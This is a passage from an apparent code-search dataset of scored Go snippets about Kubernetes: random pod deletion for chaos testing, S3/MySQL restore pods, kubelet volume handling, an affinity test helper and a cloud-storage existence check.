available\",\n\t\t\tkind, name, ns, vds.Status.DesiredNumberScheduled, vds.Status.NumberReady)\n\t\tif vds.Status.NumberReady < 2 {\n\t\t\tlog.Printf(\"available pods less than unavailable pods, doing nothing\")\n\t\t\treturn \"\"\n\t\t}\n\n\t\tlog.Printf(\"Found %s %s in namespace %s\\n\", kind, vds.ObjectMeta.Name, ns)\n\t\tmatchLabels = vds.Spec.Selector.MatchLabels\n\t}\n\n\t// convert Selector to ListOption\n\ts := \"\"\n\tfor k, v := range matchLabels {\n\t\ts = s + k + \"=\" + v + \",\"\n\t}\n\ts = s[:len(s)-1]\n\tlo := meta_v1.ListOptions{LabelSelector: s}\n\n\t// query pods\n\tpods, err := c.CoreV1().Pods(ns).List(lo)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\n\tx := randomInt(len(pods.Items))\n\tvictimName := pods.Items[x].ObjectMeta.Name\n\tlog.Printf(\"Eating pod %s NOM NOM NOM!!!!\", victimName)\n\tif slackOut {\n\t\tpostSlack(\"Eating pod \" + victimName + \" from namespace \" + ns + \"!!!! NOM! NOM! NOM!\")\n\t}\n\tc.CoreV1().Pods(ns).Delete(victimName, &meta_v1.DeleteOptions{})\n\n\treturn victimName\n}", "title": "" }, { "docid": "84e675bdb18c25589da2176aaa4a5715", "score": "0.47197768", "text": "func (r *Reconciler) createPod(ctx context.Context, backup *extensionv1.Backup, restore *extensionv1.Restore, dc *osv1.DeploymentConfig) (extensionv1.RestoreStatus, error) {\n\tvar initContainers []corev1.Container\n\tvar containers []corev1.Container\n\n\t// InitContainer which restores db to emptydir volume.\n\tfor mysqlName, mysqlStatus := range restore.Spec.MySQL {\n\t\tcmd := awscli.CommandParams{\n\t\t\tEndpoint: r.Params.AWS.Endpoint,\n\t\t\tService: \"s3\",\n\t\t\tOperation: \"cp\",\n\t\t\tArgs: []string{\n\t\t\t\tfmt.Sprintf(\"s3://%s/%s/%s/%s/mysql/%s.sql\", r.Params.AWS.BucketName, backup.Spec.Type, restore.ObjectMeta.Namespace, restore.Spec.BackupName, mysqlName),\n\t\t\t\tfmt.Sprintf(\"mysql/%s.sql\", mysqlName),\n\t\t\t},\n\t\t}\n\n\t\tinitContainers = append(initContainers, corev1.Container{\n\t\t\tName: fmt.Sprintf(\"restore-%s\", mysqlName),\n\t\t\tImage: r.Params.AWS.Image,\n\t\t\tResources: r.Params.ResourceRequirements,\n\t\t\tWorkingDir: r.Params.WorkingDir,\n\t\t\tArgs: awscli.Command(cmd),\n\t\t\tEnv: []corev1.EnvVar{\n\t\t\t\t{\n\t\t\t\t\tName: EnvAWSAccessKeyID,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: getName(restore),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: EnvAWSAccessKeyID,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvAWSSecretAccessKey,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: getName(restore),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: EnvAWSSecretAccessKey,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvAWSRegion,\n\t\t\t\t\tValue: r.Params.AWS.Region,\n\t\t\t\t},\n\t\t\t},\n\t\t\tVolumeMounts: []corev1.VolumeMount{\n\t\t\t\t{\n\t\t\t\t\tName: VolumeMySQL,\n\t\t\t\t\tMountPath: fmt.Sprintf(\"%s/mysql\", r.Params.WorkingDir),\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\n\t\tinitContainers = append(initContainers, corev1.Container{\n\t\t\tName: fmt.Sprintf(\"import-%s\", mysqlName),\n\t\t\tImage: r.Params.MySQL.Image,\n\t\t\tResources: r.Params.ResourceRequirements,\n\t\t\tWorkingDir: r.Params.WorkingDir,\n\t\t\tCommand: []string{\n\t\t\t\t\"database-restore\",\n\t\t\t},\n\t\t\tArgs: []string{\n\t\t\t\tfmt.Sprintf(\"mysql/%s.sql\", mysqlName),\n\t\t\t},\n\t\t\tVolumeMounts: []corev1.VolumeMount{\n\t\t\t\t{\n\t\t\t\t\tName: VolumeMySQL,\n\t\t\t\t\tMountPath: fmt.Sprintf(\"%s/mysql\", r.Params.WorkingDir),\n\t\t\t\t},\n\t\t\t},\n\t\t\tEnv: []corev1.EnvVar{\n\t\t\t\t{\n\t\t\t\t\tName: EnvMySQLHostname,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: mysqlStatus.Secret.Name,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: mysqlStatus.Secret.Keys.Hostname,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvMySQLDatabase,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: mysqlStatus.Secret.Name,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: mysqlStatus.Secret.Keys.Database,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvMySQLPort,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: mysqlStatus.Secret.Name,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: mysqlStatus.Secret.Keys.Port,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvMySQLUsername,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: mysqlStatus.Secret.Name,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: mysqlStatus.Secret.Keys.Username,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvMySQLPassword,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: mysqlStatus.Secret.Name,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: mysqlStatus.Secret.Keys.Password,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}\n\n\t// Volume definitions for the pod.\n\tspecVolumes := []corev1.Volume{\n\t\t{\n\t\t\tName: VolumeMySQL,\n\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\tEmptyDir: &corev1.EmptyDirVolumeSource{},\n\t\t\t},\n\t\t},\n\t}\n\n\t// Attach restore volumes to pod.\n\tfor volumeName, volumeSpec := range restore.Spec.Volumes {\n\t\tcmd := awscli.CommandParams{\n\t\t\tEndpoint: r.Params.AWS.Endpoint,\n\t\t\tService: \"s3\",\n\t\t\tOperation: \"sync\",\n\t\t\tArgs: []string{\n\t\t\t\tfmt.Sprintf(\"s3://%s/%s/%s/%s/volume/%s/\", r.Params.AWS.BucketName, backup.Spec.Type, restore.ObjectMeta.Namespace, restore.Spec.BackupName, volumeName),\n\t\t\t\tfmt.Sprintf(\"%s/volume/%s/\", r.Params.WorkingDir, volumeName),\n\t\t\t},\n\t\t}\n\n\t\tspecVolumes = append(specVolumes, corev1.Volume{\n\t\t\tName: fmt.Sprintf(\"volume-%s\", volumeName),\n\t\t\tVolumeSource: corev1.VolumeSource{\n\t\t\t\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\n\t\t\t\t\tClaimName: volumeSpec.ClaimName,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\n\t\t// Container which restores volumes.\n\t\tinitContainers = append(initContainers, corev1.Container{\n\t\t\tName: \"restore-volumes\",\n\t\t\tImage: r.Params.AWS.Image,\n\t\t\tResources: r.Params.ResourceRequirements,\n\t\t\tWorkingDir: r.Params.WorkingDir,\n\t\t\tArgs: awscli.Command(cmd),\n\t\t\tEnv: []corev1.EnvVar{\n\t\t\t\t{\n\t\t\t\t\tName: EnvAWSAccessKeyID,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: getName(restore),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: EnvAWSAccessKeyID,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvAWSSecretAccessKey,\n\t\t\t\t\tValueFrom: &corev1.EnvVarSource{\n\t\t\t\t\t\tSecretKeyRef: &corev1.SecretKeySelector{\n\t\t\t\t\t\t\tLocalObjectReference: corev1.LocalObjectReference{\n\t\t\t\t\t\t\t\tName: getName(restore),\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\tKey: EnvAWSSecretAccessKey,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tName: EnvAWSRegion,\n\t\t\t\t\tValue: r.Params.AWS.Region,\n\t\t\t\t},\n\t\t\t},\n\t\t\tVolumeMounts: []corev1.VolumeMount{\n\t\t\t\t{\n\t\t\t\t\tName: fmt.Sprintf(\"volume-%s\", volumeName),\n\t\t\t\t\tMountPath: fmt.Sprintf(\"%s/volume/%s\", r.Params.WorkingDir, volumeName),\n\t\t\t\t\tReadOnly: false,\n\t\t\t\t},\n\t\t\t},\n\t\t})\n\t}\n\n\tvar status extensionv1.RestoreStatus\n\n\tdcContainer, err := getWebContainerFromDc(dc)\n\tif err != nil {\n\t\treturn status, err\n\t}\n\n\tdcVolumeMounts := dcContainer.VolumeMounts\n\n\t// Add volumes from the deploymentconfig that we don't already have in the restore spec.\n\tfor _, dcVolume := range dc.Spec.Template.Spec.Volumes {\n\t\tfound := false\n\t\tfor _, specVolume := range specVolumes {\n\t\t\tif dcVolume.PersistentVolumeClaim != nil && specVolume.PersistentVolumeClaim != nil &&\n\t\t\t\tdcVolume.PersistentVolumeClaim.ClaimName == specVolume.PersistentVolumeClaim.ClaimName {\n\t\t\t\tfound = true\n\t\t\t\t// We've found a volume we already have, make sure the volume mount name references the existing volume.\n\t\t\t\tfor i, dcVolumeMount := range dcVolumeMounts {\n\t\t\t\t\tif dcVolumeMount.Name == dcVolume.Name {\n\t\t\t\t\t\tdcVolumeMounts[i].Name = specVolume.Name\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif !found {\n\t\t\tspecVolumes = append(specVolumes, dcVolume)\n\t\t}\n\t}\n\n\t// Container which runs deployment steps.\n\t// @todo, Try and make this into a reusable CRD.\n\tcontainers = append(containers, corev1.Container{\n\t\tName: \"restore-deploy\",\n\t\tImage: dcContainer.Image,\n\t\tResources: r.Params.ResourceRequirements,\n\t\tWorkingDir: WebDirectory,\n\t\tCommand: []string{\n\t\t\t\"/bin/sh\", \"-c\",\n\t\t},\n\t\tArgs: []string{\n\t\t\thelper.TprintfMustParse(\n\t\t\t\t\"drush -r {{.WebDir}}/web cr && drush -r {{.WebDir}}/web -y updb && robo config:import-plus && drush -r {{.WebDir}}/web cr\",\n\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\"WebDir\": WebDirectory,\n\t\t\t\t},\n\t\t\t),\n\t\t},\n\t\tEnv: dcContainer.Env,\n\t\tVolumeMounts: dcVolumeMounts,\n\t})\n\n\tpod := &corev1.Pod{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: getName(restore),\n\t\t\tNamespace: restore.ObjectMeta.Namespace,\n\t\t},\n\t\tSpec: corev1.PodSpec{\n\t\t\tRestartPolicy: corev1.RestartPolicyNever,\n\t\t\tInitContainers: initContainers,\n\t\t\tContainers: containers,\n\t\t\tVolumes: specVolumes,\n\t\t},\n\t}\n\n\tif err := controllerutil.SetControllerReference(restore, pod, r.Scheme); err != nil {\n\t\treturn status, err\n\t}\n\n\t_, err = r.ClientSet.CoreV1().Pods(pod.ObjectMeta.Namespace).Create(ctx, pod, metav1.CreateOptions{})\n\tif err != nil && !kerrors.IsAlreadyExists(err) {\n\t\treturn status, err\n\t}\n\n\tpod, err = r.ClientSet.CoreV1().Pods(pod.ObjectMeta.Namespace).Get(ctx, pod.ObjectMeta.Name, metav1.GetOptions{})\n\tif err != nil {\n\t\treturn status, err\n\t}\n\n\tstatus.Phase = podutils.GetPhase(pod.Status)\n\tstatus.StartTime = pod.Status.StartTime\n\tstatus.CompletionTime = podutils.CompletionTime(pod)\n\n\treturn status, nil\n}", "title": "" }, { "docid": "0a67449821b016e4df6c4a5d17f5146b", "score": "0.4712001", "text": "func podIsUnderStartupProtection(state serviceState, podNode stateComponents) bool {\n\t// if we detect that POD already was online we should handle it as usual\n\tif state.wasReady {\n\t\treturn false\n\t}\n\t// only PODs in Pending and Running state can be under startup protection\n\tif !(podNode.pod.Status.Phase == coreV1.PodPending ||\n\t\tpodNode.pod.Status.Phase == coreV1.PodRunning) {\n\t\treturn false\n\t}\n\t// POD should have no terminated containers to be under startup protection\n\tfor _, container := range podNode.pod.Status.ContainerStatuses {\n\t\tif container.State.Terminated != nil {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}", "title": "" }, { "docid": "775e3b99b461e2eccd1e3647097dc171", "score": "0.47065", "text": "func (c *Controller) performOpAccrodingToPod(key string) error {\n\tobj, exists, err := c.podIndexer.GetByKey(key)\n\tif err != nil {\n\t\tglog.Errorf(\"Fetching object with key %s from store failed with %v\", key, err)\n\t\treturn err\n\t}\n\n\tif !exists {\n\t\t// Below we will warm up our cache with a Pod, so that we will see a delete for one pod\n\t\tfmt.Printf(\"Pod %s deleted\\n\", key)\n\t\tvalues := strings.Split(key,\"/\")\n\t\tpodName := values[len(values)-1]\n\t\tpodWatchName,ok := c.PodMapToPodWatch[podName]\n\t\tif ok {\n\t\t\tpodWatch,err := c.clientset.NahidV1alpha1().PodWatchs(apiv1.NamespaceDefault).Get(podWatchName,metav1.GetOptions{})\n\t\t\tif err!=nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\terr = c.updateStatusForPodWatch(podWatch, podWatch.Status.AvailabelReplicas-1,podWatch.Status.CurrentlyProcessing)\n\t\t\treturn err\n\t\t}\n\t\tdelete(c.PodMapToPodWatch,podName)\n\t\tdelete(c.PodStatus,podName)\n\t} else {\n\t\t// Note that you also have to check the uid if you have a local controlled resource, which\n\t\t// is dependent on the actual instance, to detect that a Pod was recreated with the same name\n\t\tpod := obj.(*apiv1.Pod)\n\n\t\tfmt.Printf(\"Sync/Add/Update for Pod %s\\n\", pod.GetName())\n\t\tstatus,ok := c.PodStatus[pod.GetName()]\n\t\t//pod is not assigned to podwatch\n\t\tif !ok{\n\t\t\treturn nil\n\t\t}\n\n\t\tif (pod.Status.Phase== apiv1.PodRunning || pod.Status.Phase== apiv1.PodSucceeded) && status==Processing {\n\t\t\tpodWatchName,ok := c.PodMapToPodWatch[pod.GetName()]\n\t\t\tif ok {\n\t\t\t\tpodWatch,err := c.clientset.NahidV1alpha1().PodWatchs(apiv1.NamespaceDefault).Get(podWatchName,metav1.GetOptions{})\n\t\t\t\tif err!=nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\terr = c.updateStatusForPodWatch(podWatch, podWatch.Status.AvailabelReplicas+1,podWatch.Status.CurrentlyProcessing-1)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tc.PodStatus[pod.GetName()]=Ready\n\t\t\t}\n\t\t}\n\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "20856a61c46ddab8c7d777553da66a52", "score": "0.47064158", "text": "func isPodOwner(kind, name string, pod *k8scorev1.Pod) bool {\n\tif pod == nil {\n\t\treturn false\n\t}\n\tfor _, ownerRef := range pod.OwnerReferences {\n\t\tif ownerRef.Kind == kind && ownerRef.Name == name {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "75e96dccf8ea56ede1956943ca49a02d", "score": "0.4697481", "text": "func (c *Controller) checkFilterOptions(pod *corev1.Pod) bool {\n\t// If pod is pending, we ignore it for moment\n\tif pod.Status.Phase == corev1.PodPending {\n\t\treturn false\n\t}\n\n\t// Drop pods controlled by excluding jobs\n\tif c.cfg.ExcludeJobs != \"\" {\n\t\tfor _, owner := range pod.OwnerReferences {\n\t\t\tif owner.Kind == \"Job\" {\n\t\t\t\texcludeJobs := strings.Split(c.cfg.ExcludeJobs, \",\")\n\t\t\t\tfor _, job := range excludeJobs {\n\t\t\t\t\tif glob.Glob(job, owner.Name) {\n\t\t\t\t\t\tklog.V(4).Infof(\"drop pod: '%s/%s' as it's controlled by a job within the range of excluding jobs\", pod.Namespace, pod.Name)\n\t\t\t\t\t\treturn false\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// Drop pods that don't meet namespace requirements\n\tif c.cfg.IncludeNamespaces != \"\" {\n\t\tflag := false\n\t\tincludeNamespaces := strings.Split(c.cfg.IncludeNamespaces, \",\")\n\t\tfor _, namespace := range includeNamespaces {\n\t\t\tif namespace == pod.Namespace {\n\t\t\t\tflag = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !flag {\n\t\t\tklog.V(4).Infof(\"drop pod: '%s/%s' as it's outside the range of including namespaces\", pod.Namespace, pod.Name)\n\t\t\treturn false\n\t\t}\n\t} else if c.cfg.ExcludeNamespaces != \"\" {\n\t\tflag := true\n\t\texcludeNamespaces := strings.Split(c.cfg.ExcludeNamespaces, \",\")\n\t\tfor _, namespace := range excludeNamespaces {\n\t\t\tif namespace == pod.Namespace {\n\t\t\t\tflag = false\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif !flag {\n\t\t\tklog.V(4).Infof(\"drop pod: '%s/%s' as it's within the range of excluding namespaces\", pod.Namespace, pod.Name)\n\t\t\treturn false\n\t\t}\n\t}\n\n\t// The pod passed all the checks\n\treturn true\n}", "title": "" }, { "docid": "b77e860b9c26518acf8e8d482f0230bb", "score": "0.46966687", "text": "func (dswp *desiredStateOfWorldPopulator) processPodVolumes(\n\tpod *v1.Pod,\n\tmountedVolumesForPod map[volumetypes.UniquePodName]map[string]cache.MountedVolume) {\n\tif pod == nil {\n\t\treturn\n\t}\n\n\tuniquePodName := util.GetUniquePodName(pod)\n\tif dswp.podPreviouslyProcessed(uniquePodName) {\n\t\treturn\n\t}\n\n\tallVolumesAdded := true\n\tmounts, devices, seLinuxContainerContexts := util.GetPodVolumeNames(pod)\n\n\t// Process volume spec for each volume defined in pod\n\tfor _, podVolume := range pod.Spec.Volumes {\n\t\tif !mounts.Has(podVolume.Name) && !devices.Has(podVolume.Name) {\n\t\t\t// Volume is not used in the pod, ignore it.\n\t\t\tklog.V(4).InfoS(\"Skipping unused volume\", \"pod\", klog.KObj(pod), \"volumeName\", podVolume.Name)\n\t\t\tcontinue\n\t\t}\n\n\t\tpvc, volumeSpec, volumeGidValue, err :=\n\t\t\tdswp.createVolumeSpec(podVolume, pod, mounts, devices)\n\t\tif err != nil {\n\t\t\tklog.ErrorS(err, \"Error processing volume\", \"pod\", klog.KObj(pod), \"volumeName\", podVolume.Name)\n\t\t\tdswp.desiredStateOfWorld.AddErrorToPod(uniquePodName, err.Error())\n\t\t\tallVolumesAdded = false\n\t\t\tcontinue\n\t\t}\n\n\t\t// Add volume to desired state of world\n\t\tuniqueVolumeName, err := dswp.desiredStateOfWorld.AddPodToVolume(\n\t\t\tuniquePodName, pod, volumeSpec, podVolume.Name, volumeGidValue, seLinuxContainerContexts[podVolume.Name])\n\t\tif err != nil {\n\t\t\tklog.ErrorS(err, \"Failed to add volume to desiredStateOfWorld\", \"pod\", klog.KObj(pod), \"volumeName\", podVolume.Name, \"volumeSpecName\", volumeSpec.Name())\n\t\t\tdswp.desiredStateOfWorld.AddErrorToPod(uniquePodName, err.Error())\n\t\t\tallVolumesAdded = false\n\t\t} else {\n\t\t\tklog.V(4).InfoS(\"Added volume to desired state\", \"pod\", klog.KObj(pod), \"volumeName\", podVolume.Name, \"volumeSpecName\", volumeSpec.Name())\n\t\t}\n\t\tif !utilfeature.DefaultFeatureGate.Enabled(features.NewVolumeManagerReconstruction) {\n\t\t\t// sync reconstructed volume. This is necessary only when the old-style reconstruction is still used.\n\t\t\t// With reconstruct_new.go, AWS.MarkVolumeAsMounted will update the outer spec name of previously\n\t\t\t// uncertain volumes.\n\t\t\tdswp.actualStateOfWorld.SyncReconstructedVolume(uniqueVolumeName, uniquePodName, podVolume.Name)\n\t\t}\n\n\t\tdswp.checkVolumeFSResize(pod, podVolume, pvc, volumeSpec, uniquePodName, mountedVolumesForPod)\n\t}\n\n\t// some of the volume additions may have failed, should not mark this pod as fully processed\n\tif allVolumesAdded {\n\t\tdswp.markPodProcessed(uniquePodName)\n\t\t// New pod has been synced. Re-mount all volumes that need it\n\t\t// (e.g. DownwardAPI)\n\t\tdswp.actualStateOfWorld.MarkRemountRequired(uniquePodName)\n\t\t// Remove any stored errors for the pod, everything went well in this processPodVolumes\n\t\tdswp.desiredStateOfWorld.PopPodErrors(uniquePodName)\n\t} else if dswp.podHasBeenSeenOnce(uniquePodName) {\n\t\t// For the Pod which has been processed at least once, even though some volumes\n\t\t// may not have been reprocessed successfully this round, we still mark it as processed to avoid\n\t\t// processing it at a very high frequency. The pod will be reprocessed when volume manager calls\n\t\t// ReprocessPod() which is triggered by SyncPod.\n\t\tdswp.markPodProcessed(uniquePodName)\n\t}\n\n}", "title": "" }, { "docid": "d18cafae665b517351affa3ae06e1337", "score": "0.46914834", "text": "func affinityCheckFromPod(execPod *v1.Pod, serviceIP string, servicePort int) (time.Duration, time.Duration, func() []string) {\n\ttimeout := AffinityTimeout\n\t// interval considering a maximum of 2 seconds per connection\n\tinterval := 2 * AffinityConfirmCount * time.Second\n\n\tserviceIPPort := net.JoinHostPort(serviceIP, strconv.Itoa(servicePort))\n\tcurl := fmt.Sprintf(`curl -q -s --connect-timeout 2 http://%s/`, serviceIPPort)\n\tcmd := fmt.Sprintf(\"for i in $(seq 0 %d); do echo; %s ; done\", AffinityConfirmCount, curl)\n\tgetHosts := func() []string {\n\t\tstdout, err := e2eoutput.RunHostCmd(execPod.Namespace, execPod.Name, cmd)\n\t\tif err != nil {\n\t\t\tframework.Logf(\"Failed to get response from %s. Retry until timeout\", serviceIPPort)\n\t\t\treturn nil\n\t\t}\n\t\treturn strings.Split(stdout, \"\\n\")\n\t}\n\n\treturn interval, timeout, getHosts\n}", "title": "" }, { "docid": "5ff953b8a7483350be58a4dfac29eaed", "score": "0.46872595", "text": "func checkPlanExists(c *configuration) {\n\tif c.basePath == \"\" {\n\t\tcolor.Red(\"You cannot pull without a basepath\")\n\t\tos.Exit(1)\n\t}\n}", "title": "" }, { "docid": "25f524c5442d73c3350f9f1f4de237a1", "score": "0.46846077", "text": "func isDeviceInUse(name string, nameToUUID map[string]string, scheme *config.PerfScheme) bool {\n\tparts := findPartitionsForDevice(name, nameToUUID, scheme)\n\treturn len(parts) > 0\n}", "title": "" }, { "docid": "49d6d622682bf9548e016dc49997dc64", "score": "0.46839178", "text": "func isMongodPod(pod corev1.Pod) bool {\n\treturn getPodContainer(&pod, \"mongod\") != nil\n}", "title": "" }, { "docid": "abc9c0c3ad03d70976bb41cecb76ce8b", "score": "0.46808133", "text": "func isContainerAndPodRunning(pod corev1.Pod, containerName string) bool {\n\tif pod.Status.Phase != corev1.PodRunning {\n\t\treturn false\n\t}\n\tfor _, container := range pod.Status.ContainerStatuses {\n\t\tif container.Name == containerName && container.State.Running != nil {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "b9040f58836e99672d0af418bbdf5430", "score": "0.46778688", "text": "func (dswp *desiredStateOfWorldPopulator) checkVolumeFSResize(\n\tpod *v1.Pod,\n\tpodVolume v1.Volume,\n\tpvc *v1.PersistentVolumeClaim,\n\tvolumeSpec *volume.Spec,\n\tuniquePodName volumetypes.UniquePodName,\n\tmountedVolumesForPod map[volumetypes.UniquePodName]map[string]cache.MountedVolume) {\n\n\t// if a volumeSpec does not have PV or has InlineVolumeSpecForCSIMigration set or pvc is nil\n\t// we can't resize the volume and hence resizing should be skipped.\n\tif volumeSpec.PersistentVolume == nil || volumeSpec.InlineVolumeSpecForCSIMigration || pvc == nil {\n\t\t// Only PVC supports resize operation.\n\t\treturn\n\t}\n\n\tuniqueVolumeName, exist := getUniqueVolumeName(uniquePodName, podVolume.Name, mountedVolumesForPod)\n\tif !exist {\n\t\t// Volume not exist in ASW, we assume it hasn't been mounted yet. If it needs resize,\n\t\t// it will be handled as offline resize(if it indeed hasn't been mounted yet),\n\t\t// or online resize in subsequent loop(after we confirm it has been mounted).\n\t\treturn\n\t}\n\t// volumeSpec.ReadOnly is the value that determines if volume could be formatted when being mounted.\n\t// This is the same flag that determines filesystem resizing behaviour for offline resizing and hence\n\t// we should use it here. This value comes from Pod.spec.volumes.persistentVolumeClaim.readOnly.\n\tif volumeSpec.ReadOnly {\n\t\t// This volume is used as read only by this pod, we don't perform resize for read only volumes.\n\t\tklog.V(5).InfoS(\"Skip file system resize check for the volume, as the volume is mounted as readonly\", \"pod\", klog.KObj(pod), \"volumeName\", podVolume.Name)\n\t\treturn\n\t}\n\tpvCap := volumeSpec.PersistentVolume.Spec.Capacity.Storage()\n\tpvcStatusCap := pvc.Status.Capacity.Storage()\n\tdswp.desiredStateOfWorld.UpdatePersistentVolumeSize(uniqueVolumeName, pvCap)\n\n\t// in case the actualStateOfWorld was rebuild after kubelet restart ensure that claimSize is set to accurate value\n\tdswp.actualStateOfWorld.InitializeClaimSize(klog.TODO(), uniqueVolumeName, pvcStatusCap)\n}", "title": "" }, { "docid": "2e0489be1ab80f762ac27cfa2abb06e0", "score": "0.46769717", "text": "func (r *ScaledObjectReconciler) ensureHPAForScaledObjectExists(ctx context.Context, logger logr.Logger, scaledObject *kedav1alpha1.ScaledObject, gvkr *kedav1alpha1.GroupVersionKindResource) (bool, error) {\n\thpaName := getHPANameOnEnsure(scaledObject)\n\tfoundHpa := &autoscalingv2.HorizontalPodAutoscaler{}\n\t// Check if HPA for this ScaledObject already exists\n\terr := r.Client.Get(ctx, types.NamespacedName{Name: hpaName, Namespace: scaledObject.Namespace}, foundHpa)\n\tif err != nil && errors.IsNotFound(err) {\n\t\t// HPA wasn't found -> let's create a new one\n\t\terr = r.createAndDeployNewHPA(ctx, logger, scaledObject, gvkr)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\n\t\t// new HPA created successfully -> notify Reconcile function so it could fire a new ScaleLoop\n\t\treturn true, nil\n\t} else if err != nil {\n\t\tlogger.Error(err, \"failed to get HPA from cluster\")\n\t\treturn false, err\n\t}\n\n\t// check if hpa name is changed, and if so we need to delete the old hpa before creating new one\n\tif isHpaRenamed(scaledObject, foundHpa) {\n\t\terr = r.renameHPA(ctx, logger, scaledObject, foundHpa, gvkr)\n\t\tif err != nil {\n\t\t\treturn false, err\n\t\t}\n\t\t// new HPA created successfully -> notify Reconcile function so it could fire a new ScaleLoop\n\t\treturn true, nil\n\t}\n\n\t// HPA was found -> let's check if we need to update it\n\terr = r.updateHPAIfNeeded(ctx, logger, scaledObject, foundHpa, gvkr)\n\tif err != nil {\n\t\tlogger.Error(err, \"failed to check HPA for possible update\")\n\t\treturn false, err\n\t}\n\n\treturn false, nil\n}", "title": "" }, { "docid": "1eeaf871f74282c011113aab3ba57095", "score": "0.46765324", "text": "func (s *Storage) Exists(ctx context.Context, module, version string) (bool, error) {\n\tconst op errors.Op = \"gcp.Exists\"\n\tctx, span := observ.StartSpan(ctx, op.String())\n\tdefer span.End()\n\n\tit := s.bucket.Objects(ctx, &storage.Query{Prefix: config.PackageVersionedName(module, version, \"\")})\n\tvar count int\n\tfor {\n\t\tattrs, err := it.Next()\n\t\tif errors.IsErr(err, iterator.Done) {\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\treturn false, errors.E(op, err, errors.M(module), errors.V(version))\n\t\t}\n\t\tswitch attrs.Name {\n\t\tcase config.PackageVersionedName(module, version, \"info\"):\n\t\t\tcount++\n\t\tcase config.PackageVersionedName(module, version, \"mod\"):\n\t\t\tcount++\n\t\tcase config.PackageVersionedName(module, version, \"zip\"):\n\t\t\tcount++\n\t\t}\n\t}\n\n\treturn count == 